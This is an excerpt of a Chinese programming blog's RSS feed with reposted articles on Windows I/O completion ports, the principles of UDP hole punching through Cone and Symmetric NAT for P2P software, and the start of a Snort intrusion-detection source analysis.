                        &nbsp;&nbsp;hCompletionPort&nbsp;=&nbsp;CreateIoCompletionPort&nbsp;(&nbsp;INVALID_HANDLE_VALUE,&nbsp;NULL,&nbsp;0,&nbsp;nMaxThread&nbsp;)&nbsp;;
                        &nbsp;&nbsp;CString&nbsp;lpPipeName&nbsp;=&nbsp;"\\\\.\\Pipe\\NamedPipe"&nbsp;;
                        &nbsp;&nbsp;for&nbsp;(&nbsp;UINT&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;nMaxPipe;&nbsp;i++&nbsp;)
                        &nbsp;&nbsp;{
                        &nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;创建命名管道
                        &nbsp;&nbsp;&nbsp;&nbsp;PipeInst[i].hPipe&nbsp;=&nbsp;&nbsp;CreateNamedPipe&nbsp;(&nbsp;lpPipeName,&nbsp;PIPE_ACCESS_DUPLEX|FILE_FLAG_OVERLAPPED,&nbsp;\
                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,&nbsp;nMaxPipe,&nbsp;0,&nbsp;0,&nbsp;INFINITE,&nbsp;NULL&nbsp;)&nbsp;;
                        &nbsp;&nbsp;&nbsp;&nbsp;&#8230;&#8230;
                        &nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;把命名管道与完成端口关联起来
                        &nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;hRet&nbsp;=&nbsp;CreateIoCompletionPort&nbsp;(&nbsp;PipeInst[i].hPipe,&nbsp;hCompletionPort,&nbsp;i,&nbsp;nMaxThread&nbsp;)&nbsp;;
                        &nbsp;&nbsp;&nbsp;&nbsp;&#8230;&#8230;
                        &nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;等待连接
                        &nbsp;&nbsp;&nbsp;&nbsp;ConnectNamedPipe&nbsp;(&nbsp;PipeInst[i].hPipe,&nbsp;&amp;(PipeInst[i].ov)&nbsp;)&nbsp;;
                        &nbsp;&nbsp;}
                        &nbsp;&nbsp;//&nbsp;创建线程
                        &nbsp;&nbsp;for&nbsp;(&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;nMaxThread;&nbsp;i++&nbsp;)
                        &nbsp;&nbsp;{
                        &nbsp;&nbsp;&nbsp;&nbsp;hThread[i]&nbsp;=&nbsp;AfxBeginThread&nbsp;(&nbsp;ServerThread,&nbsp;NULL,&nbsp;THREAD_PRIORITY_NORMAL&nbsp;)&nbsp;;
                        &nbsp;&nbsp;}
                        &nbsp;&nbsp;&#8230;&#8230;
                        }
                        void&nbsp;CMyDlg::OnStop()&nbsp;
                        {
                        &nbsp;&nbsp;for&nbsp;(&nbsp;UINT&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;nMaxThread;&nbsp;i++&nbsp;)
                        &nbsp;&nbsp;{
                        &nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;用来唤醒线程的虚假I/O完成包
                        &nbsp;&nbsp;&nbsp;&nbsp;PostQueuedCompletionStatus&nbsp;(&nbsp;hCompletionPort,&nbsp;0,&nbsp;-1,&nbsp;NULL&nbsp;)&nbsp;;
                        &nbsp;&nbsp;&nbsp;&nbsp;CloseHandle&nbsp;(&nbsp;hThread[i]&nbsp;)&nbsp;;
                        &nbsp;&nbsp;}
                        &nbsp;&nbsp;for&nbsp;(&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;nMaxPipe;&nbsp;i++&nbsp;)
                        &nbsp;&nbsp;{
                        &nbsp;&nbsp;&nbsp;&nbsp;DisconnectNamedPipe&nbsp;(&nbsp;PipeInst[i].hPipe&nbsp;)&nbsp;;
                        &nbsp;&nbsp;&nbsp;&nbsp;CloseHandle&nbsp;(&nbsp;PipeInst[i].hPipe&nbsp;)&nbsp;;
                        &nbsp;&nbsp;}
                        &nbsp;&nbsp;&#8230;&#8230;
                        }
                        </pre>
                        </div>
                        4、心得体会<br>&nbsp;&nbsp;上面这个例子是关于完成端口的简单应用。可以这样来理解完成端口，它与三种资源相关分别是管道、I/O完成包队列、线程队列，它的作用是协调这三种资源。<br>【参考文献】<br>[1].&nbsp;Windows系统编程.&nbsp;Johnson&nbsp;M.Hart著<br>【版权声明】必须注明来源看雪技术论坛(bbs.pediy.com)&nbsp;及作者，并保持文章的完整性。</div>
                        </td>
                    </tr>
                </tbody>
            </table>
            <!-- / message --><!-- attachments -->
            <div style="PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; PADDING-TOP: 5px"><!-- NFO2PIC --><!-- END NFO2PIC -->
            <fieldset class=fieldset><legend>上传的附件</legend>
            <table cellSpacing=3 cellPadding=0 border=0>
                <tbody>
                    <tr>
                        <td><img class=inlineimg title="文件类型: rar" style="VERTICAL-ALIGN: baseline" height=16 alt="文件类型: rar" src="http://bbs.pediy.com/images/pediy_style/attach/rar.gif" width=16 border=0></td>
                        <!-- VBZH - PHPForce - Joey修改附件隐藏 -->
                        <td><a href="http://bbs.pediy.com/attachment.php?attachmentid=2032&amp;d=1151837190"><font color=#000000>asynchronous io .rar</font></a> (2006-07-02 <font color=#666666>18:46</font>, 0, 389 次下载)</td>
                        <!-- /VBZH - PHPForce - Joey修改附件隐藏 -->
                    </tr>
                </tbody>
            </table>
            </fieldset> </div>
            <!-- / attachments -->
            <p>&#160;</p>
            <!-- edit note -->
            <div class=smallfont><br><em>此帖于 2006-07-03 <span class=time><font color=#800800>11:23</font></span> 被 北极星2003 最后编辑. </em></div>
            <!-- / edit note --></td>
        </tr>
        <tr>
            <td bgColor=#dedfdf></td>
            <td class=alt2 align=right><!-- controls --><!-- 修改奖励惩罚 声望--></td>
        </tr>
    </tbody>
</table>
<img src ="http://www.cppblog.com/iniwf/aggbug/79092.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-06 13:51 <a href="http://www.cppblog.com/iniwf/archive/2009/04/06/79092.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>P2P之UDP穿透NAT的原理与实现--增强篇(附源代码)</title><link>http://www.cppblog.com/iniwf/archive/2009/03/25/77878.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Wed, 25 Mar 2009 13:38:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/03/25/77878.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/77878.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/03/25/77878.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/77878.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/77878.html</trackback:ping><description><![CDATA[转自<a href="http://www.ppcn.net/n2422c38.aspx">http://www.ppcn.net/n2422c38.aspx</a><br><br>
<div style="TEXT-ALIGN: center">
<h1 class=aTitle>P2P之UDP穿透NAT的原理与实现--增强篇(附源代码)</h1>
</div>
<table width="97%" align=center>
    <tbody>
        <tr>
            <td align=middle>日期：2005-08-01 来源：hwycheng.blogchina.com&nbsp; 作者：Hwycheng Leo 字体：<a href="javascript:ContentSize(16)"><u><font color=#0000ff>大</font></u></a> <a href="javascript:ContentSize(0)"><u><font color=#0000ff>中</font></u></a> <a href="javascript:ContentSize(12)"><u><font color=#0000ff>小</font></u></a> </td>
        </tr>
    </tbody>
</table>
<div id=content style="OVERFLOW-X: hidden; WORD-BREAK: break-all">
<p>关键词: P2P UDP NAT 原理 穿透 Traveral Symmetric Cone<br>原始作者: Hwycheng Leo(<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#70;&#108;&#97;&#115;&#104;&#66;&#84;&#64;&#72;&#111;&#116;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;"><u><font color=#0000ff>FlashBT@Hotmail.com</font></u></a>)<br>源码下载: <br><a href="http://www.ppcn.net/upload/2005_08/05080112299104.rar" target=_blank><u><font color=#0000ff>http://www.ppcn.net/upload/2005_08/05080112299104.rar</font></u></a><!--iwms_ad_begin--><span style="FLOAT: right; WIDTH: 336px">
<script src="ads/baiducpro.js" type=text/javascript></script>
&nbsp;</span><!--iwms_ad_end--><br>参考：<br><a href="http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt"><u><font color=#0000ff>http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt</font></u></a></p>
<p>P2P之UDP穿透NAT的原理与实现(shootingstars)</p>
<p>文章说明:</p>
<p>关于UDP穿透NAT的中文资料在网络上是很少的，仅有&lt;&lt;P2P之UDP穿透NAT的原理与实现(shootingstars)&gt;&gt;这篇文章有实际的参考价值。本人近两年来也一直从事P2P方面的开发工作，比较有代表性的是个人开发的BitTorrent下载软件 - FlashBT(变态快车). 对P2P下载或者P2P的开发感兴趣的朋友可以访问软件的官方主页: <a href="http://www.hwysoft.com/chs/"><u><font color=#0000ff>http://www.hwysoft.com/chs/</font></u></a> 下载看看，说不定有收获。写这篇文章的主要目的是懒的再每次单独回答一些网友的提问, 一次性写下来, 即节省了自己的时间，也方便了对于P2P的UDP穿透感兴趣的网友阅读和理解。对此有兴趣和经验的朋友可以给我发邮件或者访问我的个人Blog留言: <a href="http://hwycheng.blogchina.com/"><u><font color=#0000ff>http://hwycheng.blogchina.com</font></u></a>. <br>您可以自由转载此篇文章，但是请保留此说明。</p>
<p>再次感谢shootingstars网友的早期贡献. 表示谢意。</p>
<p>------------------------------------------------------------------------------------------------------------</p>
<p>NAT(The IP Network Address Translator) 的概念和意义是什么?</p>
<p>NAT, 中文翻译为网络地址转换。具体的详细信息可以访问RFC 1631 - <a href="http://www.faqs.org/rfcs/rfc1631.html"><u><font color=#0000ff>http://www.faqs.org/rfcs/rfc1631.html</font></u></a>, 这是对于NAT的定义和解释的最权威的描述。网络术语都是很抽象和艰涩的，除非是专业人士，否则很难从字面中来准确理解NAT的含义。</p>
<p>要想完全明白NAT 的作用，我们必须理解IP地址的两大分类，一类是私有IP地址，在这里我们称作内网IP地址。一类是非私有的IP地址，在这里我们称作公网IP地址。关于IP地址的概念和作用的介绍参见我的另一篇文章: <a href="http://hwycheng.blogchina.com/2402121.html"><u><font color=#0000ff>http://hwycheng.blogchina.com/2402121.html</font></u></a></p>
<p>内网IP地址: 是指使用A/B/C类中的私有地址, 分配的IP地址在全球不惧有唯一性，也因此无法被其它外网主机直接访问。<br>公网IP地址: 是指具有全球唯一的IP地址，能够直接被其它主机访问的。</p>
<p>NAT 最初的目的是为使用内网IP地址的计算机提供通过少数几台具有公网的IP地址的计算机访问外部网络的功能。NAT 负责将某些内网IP地址的计算机向外部网络发出的IP数据包的源IP地址转换为NAT自己的公网的IP地址，目的IP地址不变, 并将IP数据包转发给路由器，最终到达外部的计算机。同时负责将外部的计算机返回的IP数据包的目的IP地址转换为内网的IP地址，源IP地址不变，并最终送达到内网中的计算机。</p>
<p><img src="http://www.ppcn.net/upload/2005_08/05080112367029.gif" border=0><br>图一: NAT 实现了私有IP的计算机分享几个公网IP地址访问Internet的功能。<br><br>随着网络的普及，IPv4的局限性暴露出来。公网IP地址成为一种稀缺的资源，此时NAT 的功能局限也暴露出来，同一个公网的IP地址，某个时间只能由一台私有IP地址的计算机使用。于是NAPT(The IP Network Address/Port Translator)应运而生，NAPT实现了多台私有IP地址的计算机可以同时通过一个公网IP地址来访问Internet的功能。这在很大程度上暂时缓解了IPv4地址资源的紧张。</p>
<p>NAPT 负责将某些内网IP地址的计算机向外部网络发出的TCP/UDP数据包的源IP地址转换为NAPT自己的公网的IP地址，源端口转为NAPT自己的一个端口。目的IP地址和端口不变, 并将IP数据包发给路由器，最终到达外部的计算机。同时负责将外部的计算机返回的IP数据包的目的IP地址转换内网的IP地址，目的端口转为内网计算机的端口，源IP地址和源端口不变，并最终送达到内网中的计算机。</p>
<p><img src="http://www.ppcn.net/upload/2005_08/05080112367318.gif" border=0>图二: NAPT 实现了私有IP的计算机分享一个公网IP地址访问Internet的功能。<br>&nbsp;<br>在我们的工作和生活中, NAPT的作用随处可见，绝大部分公司的网络架构，都是通过1至N台支持NAPT的路由器来实现公司的所有计算机连接外部的Internet网络的。包括本人在写这篇文章的时候，也是在家中使用一台IBM笔记本通过一台宽带连接的台式机来访问Internet的。我们本篇文章主要讨论的NAPT的问题。</p>
<p>NAPT(The IP Network Address/Port Translator) 为何阻碍了P2P软件的应用?</p>
<p>通过NAPT 上网的特点决定了只能由NAPT内的计算机主动向NAPT外部的主机发起连接，外部的主机想直接和NAPT内的计算机直接建立连接是不被允许的。IM(即时通讯)而言，这意味着由于NAPT内的计算机和NAPT外的计算机只能通过服务器中转数据来进行通讯。对于P2P方式的下载程序而言，意味着NAPT内的计算机不能接收到NAPT外部的连接，导致连接数用过少，下载速度很难上去。因此P2P软件必须要解决的一个问题就是要能够在一定的程度上解决NAPT内的计算机不能被外部连接的问题。</p>
<p>NAT(The IP Network Address Translator) 进行UDP穿透的原理是什么?</p>
<p>TCP/IP传输时主要用到TCP和UDP协议。TCP协议是可靠的，面向连接的传输协议。UDP是不可靠的，无连接的协议。根据TCP和UDP协议的实现原理，对于NAPT来进行穿透，主要是指的UDP协议。TCP协议也有可能，但是可行性非常小，要求更高，我们此处不作讨论，如果感兴趣可以到Google上搜索，有些文章对这个问题做了探讨性的描述。下面我们来看看利用UDP协议来穿透NAPT的原理是什么:</p>
<p><img title=点击原始大小查看 style="DISPLAY: block; CURSOR: pointer" src="http://www.ppcn.net/upload/2005_08/05080112377429.gif" width=568 vspace=5 border=0 resized="1" otitle oheight="397" owidth="689"><br>图三: NAPT 是如何将私有IP地址的UDP数据包与公网主机进行透明传输的。</p>
<p>UDP协议包经NAPT透明传输的说明:</p>
<p>NAPT为每一个Session分配一个NAPT自己的端口号，依据此端口号来判断将收到的公网IP主机返回的TCP/IP数据包转发给那台内网IP地址的计算机。在这里Session是虚拟的，UDP通讯并不需要建立连接，但是对于NAPT而言，的确要有一个Session的概念存在。NAPT对于UDP协议包的透明传输面临的一个重要的问题就是如何处理这个虚拟的Session。我们都知道TCP连接的Session以SYN包开始，以FIN包结束，NAPT可以很容易的获取到TCP Session的生命周期，并进行处理。但是对于UDP而言，就麻烦了，NAPT并不知道转发出去的UDP协议包是否到达了目的主机，也没有办法知道。而且鉴于UDP协议的特点，可靠很差，因此NAPT必须强制维持Session的存在，以便等待将外部送回来的数据并转发给曾经发起请求的内网IP地址的计算机。NAPT具体如何处理UDP Session的超时呢？不同的厂商提供的设备对于NAPT的实现不近相同，也许几分钟，也许几个小时，些NAPT的实现还会根据设备的忙碌状态进行智能计算超时时间的长短。</p>
<p><img src="http://www.ppcn.net/upload/2005_08/05080112379553.gif" border=0><br>图四: NAPT 将内部发出的UDP协议包的源地址和源端口改变传输给公网IP主机。<br><img src="http://www.ppcn.net/upload/2005_08/05080112377140.gif" border=0><br>图五: NAPT 将收到的公网IP主机返回的UDP协议包的目的地址和目的端口改变传输给内网IP计算机<br>现在我们大概明白了NAPT如何实现内网计算机和外网主机间的透明通讯。现在来看一下我们最关心的问题，就是NAPT是依据什么策略来判断是否要为一个请求发出的UDP数据包建立Session的呢？主要有一下几个策略: </p>
<p>A. 源地址(内网IP地址)不同，忽略其它因素, 在NAPT上肯定对应不同的Session<br>B. 源地址(内网IP地址)相同，源端口不同，忽略其它的因素，则在NAPT上也肯定对应不同的Session<br>C. 源地址(内网IP地址)相同，源端口相同，目的地址(公网IP地址)相同，目的端口不同，则在NAPT上肯定对应同一个Session<br>D. 源地址(内网IP地址)相同，源端口相同，目的地址(公网IP地址)不同，忽略目的端口，则在NAPT上是如何处理Session的呢？</p>
<p>D的情况正式我们关心和要讨论的问题。依据目的地址(公网IP地址)对于Session的建立的决定方式我们将NAPT设备划分为两大类:</p>
<p>Symmetric NAPT:<br>对于到同一个IP地址，任意端口的连接分配使用同一个Session; 对于到不同的IP地址, 任意端口的连接使用不同的Session. <br>我们称此种NAPT为 Symmetric NAPT. 也就是只要本地绑定的UDP端口相同， 发出的目的IP地址不同，则会建立不同的Session.</p>
<p><img src="http://www.ppcn.net/upload/2005_08/05080112386044.gif" border=0><br>图六: Symmetric 的英文意思是对称。多个端口对应多个主机，平行的，对称的!<br><br>Cone NAPT:<br>对于到同一个IP地址，任意端口的连接分配使用同一个Session; 对于到不同的IP地址，任意端口的连接也使用同一个Session.<br>我们称此种NAPT为 Cone NAPT. 也就是只要本地绑定的UDP端口相同， 发出的目的地址不管是否相同， 都使用同一个Session.</p>
<p><img src="http://www.ppcn.net/upload/2005_08/05080112383537.gif" border=0><br>图七: Cone 的英文意思是锥。一个端口对应多个主机，是不是像个锥子?</p>
<p>现在绝大多数的NAPT属于后者，即Cone NAT。本人在测试的过程中，只好使用了一台日本的Symmetric NAT。还好不是自己的买的，我从不买日货, 希望看这篇文章的朋友也自觉的不要购买日本的东西。Win9x/2K/XP/2003系统自带的NAPT也是属于 Cone NAT的。这是值的庆幸的，因为我们要做的UDP穿透只能在Cone NAT间进行，只要有一台不是Cone NAT，对不起，UDP穿透没有希望了，服务器转发吧。后面会做详细分析!</p>
<p>下面我们再来分析一下NAPT 工作时的一些数据结构，在这里我们将真正说明UDP可以穿透Cone NAT的依据。这里描述的数据结构只是为了说明原理，不具有实际参考价值，真正感兴趣可以阅读Linux的中关于NAT实现部分的源码。真正的NAT实现也没有利用数据库的，呵呵，为了速度！</p>
<p>Symmetric NAPT 工作时的端口映射数据结构如下:</p>
<p>内网信息表:</p>
<p>[NAPT 分配端口] [ 内网IP地址 ] [ 内网端口 ] [ 外网IP地址 ] [ SessionTime 开始时间 ]</p>
<p>PRIMARY KEY( [NAPT 分配端口] ) -&gt; 表示依据[NAPT 分配端口]建立主键，必须唯一且建立索引，加快查找.<br>UNIQUE( [ 内网IP地址 ], [ 内网端口 ] ) -&gt; 表示这两个字段联合起来不能重复.<br>UNIQUE( [ 内网IP地址 ], [ 内网端口 ], [ 外网IP地址 ] ) -&gt; 表示这三个字段联合起来不能重复.</p>
<p>映射表:</p>
<p>[NAPT 分配端口] [ 外网端口 ]</p>
<p>UNIQUE( [NAPT 分配端口], [ 外网端口 ] ) -&gt; 表示这两个字段联合起来不能重复.</p>
<p>Cone NAPT 工作时的端口映射数据结构如下:</p>
<p>内网信息表:</p>
<p>[NAPT 分配端口] [ 内网IP地址 ] [ 内网端口 ] [ SessionTime 开始时间 ]</p>
<p>PRIMARY KEY( [NAPT 分配端口] ) -&gt; 表示依据[NAPT 分配端口]建立主键，必须唯一且建立索引，加快查找.<br>UNIQUE( [ 内网IP地址 ], [ 内网端口 ] ) -&gt; 表示这两个字段联合起来不能重复.</p>
<p>外网信息表:</p>
<p>[ wid 主键标识 ] [ 外网IP地址 ] [ 外网端口 ]</p>
<p>PRIMARY KEY( [ wid 主键标识 ] ) -&gt; 表示依据[ wid 主键标识 ]建立主键，必须唯一且建立索引，加快查找.<br>UNIQUE( [ 外网IP地址 ], [ 外网端口 ] ) -&gt; 表示这两个字段联合起来不能重复.</p>
<p>映射表: 实现一对多，的</p>
<p>[NAPT 分配端口] [ wid 主键标识 ]</p>
<p>UNIQUE( [NAPT 分配端口], [ wid 主键标识 ] ) -&gt; 表示这两个字段联合起来不能重复.<br>UNIQUE( [ wid 主键标识 ] ) -&gt; 标识此字段不能重复.</p>
<p>看完了上面的数据结构是更明白了还是更晕了？ 呵呵! 多想一会儿就会明白了。通过NAT,内网计算机计算机向外连结是很容易的，NAPT会自动处理，我们的应用程序根本不必关心它是如何处理的。那么外部的计算机想访问内网中的计算机如何实现呢？我们来看一下下面的流程：</p>
<p>c 是一台在NAPT后面的内网计算机，s是一台有外网IP地址的计算机。c 主动向 s 发起连接请求，NAPT依据上面描述的规则在自己的数据结构中记录下来，建立一个Session. 然后 c 和 s 之间就可以实现双向的透明的数据传输了。如下面所示:</p>
<p>&nbsp;&nbsp; c[192.168.0.6:1827] &lt;-&gt; [priv ip: 192.168.0.1]NAPT[pub ip: 61.51.99.86:9881] &lt;-&gt; s[61.51.76.102:8098]</p>
<p>由此可见，一台外网IP地址的计算机想和NAPT后面的内网计算机通讯的条件就是要求NAPT后面的内网计算机主动向外网IP地址的计算机发起一个UDP数据包。外网IP地址的计算机利用收到的UDP数据包获取到NAPT的外网IP地址和映射的端口，以后就可以和内网IP的计算机透明的进行通讯了。<br>&nbsp;&nbsp;&nbsp; <br>现在我们再来分析一下我们最关心的两个NAPT后面的内网计算机如何实现直接通讯呢? 两者都无法主动发出连接请求，谁也不知道对方的NAPT的公网IP地址和NAPT上面映射的端口号。所以我们要靠一个公网IP地址的服务器帮助两者来建立连接。当两个NAPT后面的内网计算机分别连接了公网IP地址的服务器后，服务器可以从收到的UDP数据包中获取到这两个NAPT设备的公网IP地址和这两个连接建立的Session的映射端口。两个内网计算机可以从服务器上获取到对方的NAPT设备公网IP地址和映射的端口了。</p>
<p>我们假设两个内网计算机分别为A和B，对应的NAPT分别为AN和BN， 如果A在获取到B对应的BN的IP地址和映射的端口后，迫不急待的向这个IP<br>地址和映射的端口发送了个UDP数据包，会有什么情况发生呢？依据上面的原理和数据结构我们会知道，AN会在自己的数据结构中生成一条记录，标识一个新Session的存在。BN在收到数据包后，从自己的数据结构中查询，没有找到相关记录，因此将包丢弃。B是个慢性子，此时才慢吞吞的向着AN的IP地址和映射的端口发送了一个UDP数据包，结果如何呢？当然是我们期望的结构了，AN在收到数据包后，从自己的数据结构中查找到了记录，所以将数据包进行处理发送给了A。A 再次向B发送数据包时，一切都时畅通无阻了。OK, 大工告成！且慢，这时对于Cone NAPT而言，对于Symmetric NAPT呢？呵呵，自己分析一下吧...</p>
<p>NAPT(The IP Network Address/Port Translator) 进行UDP穿透的具体情况分析!</p>
<p>首先明确的将NAPT设备按照上面的说明分为: Symmetric NAPT 和 Cone NAPT, Cone NAPT 是我们需要的。Win9x/2K/XP/2003 自带的NAPT也为Cone NAPT。</p>
<p>第一种情况, 双方都是Symmetric NAPT:</p>
<p>此情况应给不存在什么问题，肯定是不支持UDP穿透。</p>
<p>第二种情况, 双方都是Cone NAPT:</p>
<p>此情况是我们需要的，可以进行UDP穿透。</p>
<p>第三种情况, 一个是Symmetric NAPT, 一个是Cone NAPT:</p>
<p>此情况比较复杂，但我们按照上面的描述和数据机构进行一下分析也很容易就会明白了, 分析如下,</p>
<p>假设: A -&gt; Symmetric NAT, B -&gt; Cone NAT</p>
<p>1. A 想连接 B, A 从服务器那儿获取到 B 的NAT地址和映射端口, A 通知服务器，服务器告知 B A的NAT地址和映射端口, B 向 A 发起连接，A 肯定无法接收到。此时 A 向 B 发起连接， A 对应的NAT建立了一个新的Session，分配了一个新的映射端口， B 的 NAT 接收到UDP包后，在自己的映射表中查询，无法找到映射项，因此将包丢弃了。</p>
<p>2. B 想连接 A, B 从服务器那儿获取到 A 的NAT地址和映射端口, B 通知服务器, 服务器告知 A B的NAT地址和映射端口,A 向 B 发起连接, A 对应的NAT建立了一个新的Session，分配了一个新的映射端口B肯定无法接收到。此时 B 向 A 发起连接, 由于 B 无法获取 A 建立的新的Session的映射端口，仍是使用服务器上获取的映射端口进行连接， 因此 A 的NAT在接收到UDP包后，在自己的映射表中查询，无法找到映射项, 因此将包丢弃了。</p>
<p>根据以上分析，只有当连接的两端的NAT都为Cone NAT的情况下，才能进行UDP的内网穿透互联。</p>
<p><br>NAPT(The IP Network Address/Port Translator) 进行UDP穿透如何进行现实的验证和分析!</p>
<p>需要的网络结构如下:</p>
<p>三个NAT后面的内网机器，两个外网服务器。其中两台Cone NAPT，一台 Symmetric NAPT。</p>
<p>验证方法:</p>
<p>可以使用本程序提供的源码，编译，然后分别运行服务器程序和客户端。修改过后的源码增加了客户端之间直接通过IP地址和端口发送消息的命令，利用此命令，你可以手动的验证NAPT的穿透情况。为了方便操作，推荐你使用一个远程登陆软件，可以直接在一台机器上操作所有的相关的计算机，这样很方便，一个人就可以完成所有的工作了。呵呵，本人就是这么完成的。欢迎有兴趣和经验的朋友来信批评指正，共同进步。</p>
</div>
<img src ="http://www.cppblog.com/iniwf/aggbug/77878.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-03-25 21:38 <a href="http://www.cppblog.com/iniwf/archive/2009/03/25/77878.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>P2P之UDP穿透NAT的原理与实现(附源代码)</title><link>http://www.cppblog.com/iniwf/archive/2009/03/25/77877.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Wed, 25 Mar 2009 13:36:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/03/25/77877.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/77877.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/03/25/77877.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/77877.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/77877.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自http://www.ppcn.net/n1306c2.aspxP2P之UDP穿透NAT的原理与实现(附源代码)日期：2004-05-25&nbsp;来源：csdn&nbsp;&nbsp;作者：shootingstars&nbsp;字体：大&nbsp;中&nbsp;小&nbsp;&nbsp;P2P&nbsp;之&nbsp;UDP穿透NAT的原理与实现（附源代码）原创：shootingsta...&nbsp;&nbsp;<a href='http://www.cppblog.com/iniwf/archive/2009/03/25/77877.html'>阅读全文</a><img src ="http://www.cppblog.com/iniwf/aggbug/77877.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-03-25 21:36 <a href="http://www.cppblog.com/iniwf/archive/2009/03/25/77877.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>snort源代码情形分析</title><link>http://www.cppblog.com/iniwf/archive/2009/03/22/77469.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sun, 22 Mar 2009 03:37:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/03/22/77469.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/77469.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/03/22/77469.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/77469.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/77469.html</trackback:ping><description><![CDATA[转自<a href="http://hi.baidu.com/freeze9527/blog/item/a12425da04de57dfb6fd489e.html">http://hi.baidu.com/freeze9527/blog/item/a12425da04de57dfb6fd489e.html</a><br><br>
<table style="TABLE-LAYOUT: fixed">
    <tbody>
        <tr>
            <td>
            <div class=cnt id=blog_text>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><font size=3><span><font face="Times New Roman">snort</font></span><span>源代码情形分析</span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: left" align=left><font size=3><span>Snort </span><span>系统是一个开放源代码的网络入侵检测系统，最初由</span><span>Martin Roesch </span><span>编写。分析<span>snort</span>源码不仅可以让我们对入侵检测的具体实现有深刻的理解，也可以让我们学习到软件设计的一些思想，特别是它的体系结构非常的模块化，源码布局也遵循相应的标准，很容易理解。<span></span></span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: left" align=left><span><font size=3>在这里，通过对一个个具体的情形来分析<span>snort</span>的源码，这样更容易理解，特别是各个函数间的关系，我们试图对<span>snort</span>的总体结构作全面的剖析，对于具体的源代码中的语句和库函数的调用，我们会放在附录中详细讲解，这样不至于让读者淹没在复杂的细节中</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: left" align=left><span><font size=3>本 文写作目的有两个：一是面向有志于研究入侵检测的专业人员，通过阅读源代码，可以构建出自己的入侵检测系统框架，方便研究后续的检测算法，做验证比较实验 等；二是面向程序设计爱好者，特别是对网络数据包的分析和处理感兴趣的读者，通过阅读源码，可以借鉴其中的编程规范，模块化设计，插件思想等，也可以培养 自己的阅读源代码的能力。<span></span></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: left" align=left><span><font size=3>本文有以下几部分组成：<span></span></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 45pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span><span><font size=3>1.</font><span style="FONT-WEIGHT: normal; FONT-SIZE: 7pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><font size=3><span>snort</span><span>基本框架<span></span></span></font></p>
